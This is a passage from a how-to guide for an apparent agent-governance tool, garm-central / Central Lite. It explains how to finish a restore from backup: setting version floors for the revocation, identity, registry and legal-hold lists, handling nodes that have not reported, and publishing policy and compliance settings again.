revocation list, identity registry, MCP registry snapshot and legal hold list above them. Floors only rise. It refuses while Central Lite lacks the newest revocation list a node holds: pass that node's copy, /var/lib/agentgarm/update/revocations/central:.rl on a Linux node (the org id is garm-central status's org), with --revocations. It also refuses while an enrolled node has not reported, unless --allow-missing with a --reason; then give floors above anything that node may hold, since it never reported its marks. A node that trusts a newer org root metadata version than the backup holds must have it installed first. The policy bundle is not re-issued, and identities, policies and holds made after the backup are not in it: re-create them, and run policy publish, which numbers the next bundle above the floor. Central Lite signs no compliance settings for nodes until you check them with compliance show and sign them with compliance publish after restore finish, since its nodes may hold newer ones. Finish with a node's revocation list, then publish policy again garm-central restore finish --revocations revocations.rl garm-central policy publish Finish without a node that cannot report garm-central restore finish --allow-missing --reason "laptop lost" --floor-policy N --floor-revocation N --floor-identity N --floor-registry N --floor-legal-holds N See also Prepare a works-council or DPIA packGenerate templates that describe what your deployment collects, keeps and sends, and switch the fleet to the non-monitoring profile during talks. All how-to guides